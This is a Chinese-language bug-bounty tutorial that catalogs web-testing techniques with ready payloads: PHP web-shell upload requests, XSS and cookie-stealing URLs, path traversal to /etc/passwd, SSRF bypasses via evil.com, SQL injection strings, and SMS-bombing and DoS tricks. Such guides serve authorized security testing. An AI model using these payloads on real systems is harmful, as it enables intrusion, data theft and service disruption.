在挖掘SRC时,刚入门的新手建议首选漏洞盒子、补天等公益SRC平台,因其收录范围广(主要是国内站点)且难度相对适中。之后可以尝试从一些规模较小的SRC厂商入手。
实践出真知。初期可以从教育SRC (edusrc) 或CNVD平台开始,利用公开的NDAY漏洞进行挖掘。但这种打法在正规SRC中会显得吃力,因为后者更侧重于独特的技巧和攻击思路。
在挖掘过程中,必须仔细阅读并理解目标SRC平台的规则,切勿触碰红线。同时,要熟悉其漏洞收录范围,避免辛苦挖掘的漏洞因不被收录而前功尽弃。
文件上传
嵌套XSS语句
在存在文件上传功能的地方,可以尝试在SVG、PDF、HTML、XML等文件中嵌套XSS语句。
例如,一个包含XSS的HTML文件:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
<script type="text/javascript">
alert("testxss");
</script>
</head>
<body>
</body>
</html>
SVG示例:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
或
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009901" stroke="#004400"/>
<script type="text/javascript">alert(document.cookie);</script>
</svg>
将制作好的图片马(如 html.html.png)上传。
SVG重定向:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='http://www.example.com'" xmlns="http://www.w3.org/2000/svg"></svg>
路径可控
当上传路径可控时,如果无法上传可解析的后缀,可以尝试路径穿越。
例如,原始路径为 user_apply_file,修改后可能变为 1/23/456/user_app_file。
文件上传限制绕过
黑名单绕过
尝试 phtml、pht、php3、php4、php5 等后缀。
后缀大小写绕过
在 Windows 环境下,Php 可能会被当做 php 解析。
后缀名空格绕过
shell.png 和 shell.png(末尾有空格)是不同的。
# filename="shell.png "
后缀名点绕过
Windows 系统会自动去除文件名末尾的点。
------WebKitFormBoundary0BAvi6S3ETKPlJw4
Content-Disposition: form-data; name="upload_file"; filename="shell.php."
Content-Type: image/png
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundary0BAvi6S3ETKPlJw4
::$DATA 绕过 (Windows文件流)
------WebKitFormBoundary6iEJqkiHLxaG6mxM
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"
Content-Type: image/png
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundary6iEJqkiHLxaG6mxM
构造特殊后缀绕过
如果代码使用 strrchr($file_name, '.') 获取最后一个点之后的后缀,可以尝试构造 shell.php. .。
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
Content-Type: image/png
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundary3b4MZBZoOnzEpoeC
双写绕过
如果代码使用 str_ireplace($deny_ext,"", $file_name) 替换危险字符,可尝试双写,如 shell.pphphp。
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphp"
Content-Type: image/png
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundary3b4MZBZoOnzEpoeC
%00截断
利用PHP中%00(空字符)截断字符串。例如,当保存路径由参数拼接时:
POST /Pass-11/index.php?save_path=./upload/shell.php%00 HTTP/1.1
Host: 59.63.200.79:8016
-----WebKitFormBoundaryZIDuWzIommKYBtmZ
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundaryZIDuWzIommKYBtmZ
IIS6解析漏洞
分号截断
使用分号截断,访问时需带上分号:test.asa;.jpg
目录名含.asp
目录名包含.asp或.asa时,该目录下的所有文件都会被当做ASP脚本解析:123.asp/12.jpg
CGI解析漏洞
在任意文件名后添加/.php,文件会被当做PHP解析:1.jpg/.php
逻辑漏洞
登录口常见漏洞点
短信轰炸、任意用户注册、验证码爆破、验证码逻辑缺陷、弱口令、DDOS、SQL注入、枚举、越权、二维码劫持、JS泄露、URL跳转、信息泄露、RCE、XSS、SSRF
短信轰炸
可使用并发请求、URL编码、在手机号前后添加空格/86/086/+86/0/\r/\n等特殊符号绕过。
参数可能为:mobile=1xxxxxxxxxx&openid=
特殊字符:%09(TAB), %0a(换行), %0c(新页), %0d(回车), %0b(垂直TAB), %a0(空格)。
验证码DOS
通过修改图片验证码的生成尺寸参数消耗服务器资源:&height=1111&h=1111&size=1111&ma=1111
验证码回显
验证码或邀请码直接在响应包中返回。
绑定关系绕过
使用A账户的验证码,尝试重置或登录B账户。
方法:拦截B账户的验证码请求,将手机号修改为A的,在A手机上接收验证码后,填入B账户的验证码输入框。
双写绕过
注册时:mobile=123456,123456
删除时:如果通过uid判断,尝试修改为多个ID,如{454,568}。
奇葩绕过
在密码找回流程中:拦截发送验证码的请求,将手机号改为自己的;用自己的手机接收验证码后,在提交重置密码请求时,再将手机号改回目标账户。
任意用户注册
验证码与手机号未绑定:用一个正确手机号获取验证码,提交时替换为其他手机号,从而消耗系统资源或注册非法账户。
二维码登录劫持
扫描二维码后无二次确认,攻击者可将二维码转换为URL发送给他人点击,可能导致账号被接管。
密码重置漏洞
密码可置空
name=lili&oldpass=1111111&newpass=123456&newpass=123456
# 尝试置空
name=lili&newpass=&newpass=
预设Token票据
如果系统预设了类似access0-reset-ticket的票据用于校验,可能被用于任意账户的密码重置。
API接口未授权重置
在JS文件或前端代码中寻找密码重置接口。例如:/BaseInfo/SystemSet/AlterPassword.html?ID=1,ID=1可能对应管理员账户。
短信验证码可复用
在B账户的重置流程中,拦截验证码请求,将手机号改为A;用A手机接收验证码后,填入B账户的验证码输入框,从而进入B账户的重置页面。
业务逻辑漏洞
业务回退
在修改密码的多步流程中,完成最后一步后,将上一步(填写新密码)的URL复制到新浏览器标签,如果仍能提交并修改密码,则存在回退漏洞。
查询天数越权
如果业务查询功能限制了最大查询天数,尝试修改请求参数(如days),看是否能突破限制。
优惠券漏洞
第一反应是遍历ID或并发领取。若并发限制,可尝试在领取后“回退”浏览器到上一页面再次领取,或修改本地系统时间。
地理位置绕过
通过Burp抓包,检查请求中是否包含经纬度等地理位置参数。若有,可利用百度等地图API查询目标地点的坐标,然后修改请求参数中的坐标值。
支付漏洞
- 签约漏洞:如“首月6元,次月起20元”。尝试用两个支付方式分别支付首月费用,看是否能获得两个月服务。
- 修改购买年限/数量:修改
count、year等参数,如count=1year改为count=10或count=-1。
- 支付续费逻辑缺陷:先购买低级会员,再购买高级会员,检查会员有效期计算是否正确。
- 付费资源越权下载/查看:尝试修改
ID、disable参数,或直接访问付费资源的真实地址。
并发漏洞测试
使用BurpSuite插件 Turbo Intruder 进行并发测试。在请求中插入标记%s,配置脚本使大量请求在同一时刻抵达服务器,测试资源竞争、库存超卖等问题。

任意文件下载/读取
关注file、path、filename等参数,尝试目录遍历:file=../../../../etc/passwd
示例:path=edu.gi -> path=/etc/passwd
越权访问
在返回包中寻找空数组或包含其他用户数据的响应。增删改查操作中,尝试修改id、uid等参数,或使用数组格式{454,568}进行批量越权操作。
URL跳转与开放重定向
常见参数:redirect、redirect_to、redirect_url、url、jump、jump_to、target、to、link、linkto、domain。
绕过技巧:
可能的端点:
?url=http://{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
?view={target}
/login?to={target}
绕过403/401禁止访问
- 添加特殊请求头:如
X-Originating-IP, X-Remote-IP, X-Forwarded-For,看是否基于IP白名单。
- 使用Unicode字符:如将
/admin尝试为/%61dmin。
- 使用重写头:对可访问的端点发送请求,并添加头:
X-Original-URL: /admin
X-Rewrite-URL: /admin
- 尝试不同Payload:
/accessible/..;/admin
/admin;
/admin?
/admin%23
/%2e/admin
- 转换请求方法:GET改为POST,或反之。
- 直接访问IP:绕过CDN/WAF的域名限制。
- 模糊测试:对禁止访问的目录进行子目录/文件扫描。
信息泄露
AK/SK泄露
在源代码、JS文件或错误信息中寻找 AccessKeyId 和 SecretAccessKey。
Git源码泄露
访问 http://target/.git/,利用工具如 githack.py 下载源码。
python githack.py http://target/.git/
下载后检查历史记录和配置:
git log
git diff <commit_hash>
SVN源码泄露
访问 .svn/entries 文件。利用工具如 svnExploit 进行利用。

其他常见泄露路径
/.bash_history
/debug/pprof/cmdline
/.git/index
/.svn/entries
/.DS_Store
/graphql
/tenant/sources
/actuator/env
/swagger-ui.html
...
Druid未授权访问
/druid/index.html # 监控首页
/druid/sql.html # SQL监控
/druid/weburi.html # Web URI监控
/druid/websession.html # Web Session监控
/druid/login.html # 登录页面 (弱口令)
用户授权信息泄露
在授权手机号等流程中,观察返回包是否包含其他用户的敏感信息,尝试遍历ID或手机号。
隐私合规问题
- 隐私政策链接无效或为乱码。
- 注册时隐私政策默认勾选同意。
- 报告模板:
xxApp v1.1.1 存在隐私政策默认勾选/不可拒绝漏洞。
匿名头像信息泄露
在评论处看到匿名用户,通过抓包获取其评论请求中的用户ID,尝试拼接其他接口路径进行信息探查。
地图API Key泄露与接管
在JS文件中搜索地图服务商(高德、百度、腾讯)的API调用URL,提取其中的key或ak参数。攻击者可盗用该额度,造成服务方经济损失或服务异常。
示例(高德):
https://restapi.amap.com/v3/geocode/regeo?key=泄露的KEY&location=...
未授权访问接口
使用工具(如JSFinder)从JS中提取API接口路径,在Burp中尝试访问,并附加通用参数如 ?pageNum=1&pageSize=10 进行测试。
拒绝服务 (DoS)
资源生成大小可控
在图片验证码、二维码生成等接口,参数如w(宽)、h(高)、size、margin可能可控。将其修改为极大值(如1111),可能导致服务器处理超时或内存耗尽。
示例:https://target/validcode?w=130&h=53 改为 ?w=9999&h=9999。
CSRF
利用头像URL导致登出
在修改头像处,头像地址参数(如portrait)可能支持远程URL。将其修改为站点的退出登录接口。
portrait=http://target.com/logout
当其他用户浏览该用户资料时,其浏览器会加载此URL,导致被登出。
绕过Referer检查
- 删除Referer请求头。
- 将Referer设置为白名单域名。
- 结合存储型XSS绕过。
XSS
XSS常用标签与函数
函数:alert(), confirm(), prompt()
标签与Payload示例:
<script>alert('X');</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<a href=javascript:alert(1)>click</a>
<iframe src=javascript:alert(1)>
<input onfocus=alert(1) autofocus>
<details ontoggle=alert(1) open>
反射型XSS常见出现点
- 搜索框:用户输入直接回显。
- URL参数:参数值未经处理直接输出到页面。
- 表单提交结果页。
- 分页、排序参数。
- 数据报表参数。
- 路径导航。
URL参数型XSS挖掘流程
- 修改URL参数值。
- 查看网页源代码,搜索该参数值是否被输出。
- 尝试闭合原有标签或属性,插入新的事件处理器。
- 测试Payload。
参数 -> 查看源码 -> 尝试闭合 -> 构造Payload
<u>test</u> -> 猜测标签 -> 事件 -> 函数

存储型XSS - 头像处
与CSRF类似,将头像地址参数指向恶意XSS平台,窃取访问者的Cookie。
portrait=http://xss-platform.com/steal_cookie.js
XSS自动化测试工具
使用如PhantomJS等工具配合脚本进行自动化的XSS检测。
SQL注入
X-Forwarded-For 注入
X-Forwarded-For 请求头常用于传递客户端真实IP。如果应用程序未经验证即将其存入数据库,可能导致注入。

攻击:在 X-Forwarded-For 头中构造注入Payload,如 127.0.0.1' AND SLEEP(5)--。
RCE (远程代码/命令执行)
登录口RCE
在登录的账号或密码字段,尝试注入系统命令或代码。某些老旧系统或自定义身份验证逻辑可能存在此类风险。

JS前端泄露
API接口泄露
仔细审查前端JavaScript文件,寻找隐藏的API接口路径,如 /api/deleteUser、/admin/exportData。直接访问这些接口,观察返回错误信息,可能暴露出数据库结构、服务器路径或其他敏感信息。
SSRF (服务器端请求伪造)
可利用的伪协议
http:// / https://:探测内网服务。
file://:读取本地文件,如file:///etc/passwd。
dict://:探测端口信息。
gopher://:构造攻击内网Redis、MySQL等的Payload。
ldap:// / tftp://。
常见功能点
- URL调用/转码/下载(如图片、文件、头像)。
- Webhook功能。
- 远程文件包含。
- 在线翻译、网页抓取、预览功能。
利用头像上传功能
在头像上传处,avatar或portrait参数可能支持远程URL。将其修改为攻击者控制的DNSLog地址,探测是否存在SSRF。
avatar=http://your-dnslog.cn
常见易产生SSRF的参数
url, redirect, callback, image, source, domain, link, data, webhook。
绕过方法
- 不同IP表示法:十进制
2130706433,八进制 017700000001,十六进制 0x7f000001,或省略部分IP段 127.1。
- 特殊域名:
localhost, 127.0.0.1.nip.io。
- URL编码/双重编码。
- 利用解析差异:
http://trusted.com@evil.com, http://trusted.com#evil.com。
- 利用重定向:在攻击者控制的服务器上设置302跳转到内网地址。
Gopher协议利用
Gopher协议功能强大,可用于攻击内网多种服务(如Redis未授权写公钥)。需要根据目标服务协议构造特定格式的Payload。

CORS 跨域资源共享漏洞
当请求头包含 Origin: https://attacker.com 时,如果响应头返回:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
且前端携带Cookie,则攻击者可以构造恶意页面窃取用户数据。
总结:SRC挖掘是一个系统性工程,需要扎实的基础知识、熟练的工具使用技巧、灵活的思维以及对业务逻辑的深刻理解。从信息收集开始,到漏洞探测、利用和报告,每个环节都有许多技巧和细节需要注意。建议在学习具体技巧的同时,也要系统性地构建自己的网络安全知识体系。